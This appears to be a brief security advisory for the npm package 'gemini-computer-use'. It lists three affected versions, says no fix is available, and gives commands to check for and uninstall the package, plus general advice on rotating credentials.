Am I affected? Affected: gemini-computer-use 0.1.2, 0.4.3, 0.4.5. Fixed in: no fix reported yet.
- Check your version: run
npm ls gemini-computer-use. Versions 0.1.2, 0.4.3, 0.4.5 of gemini-computer-use are affected.
What to do now
- Remove the package if it is installed: run
npm uninstall gemini-computer-use. - No fix is available; the package is listed as patched none.
General practice, not from the source: if the affected software could read tokens or credentials, rotate them after upgrading; pin versions and review changes before updating tools your agents run.
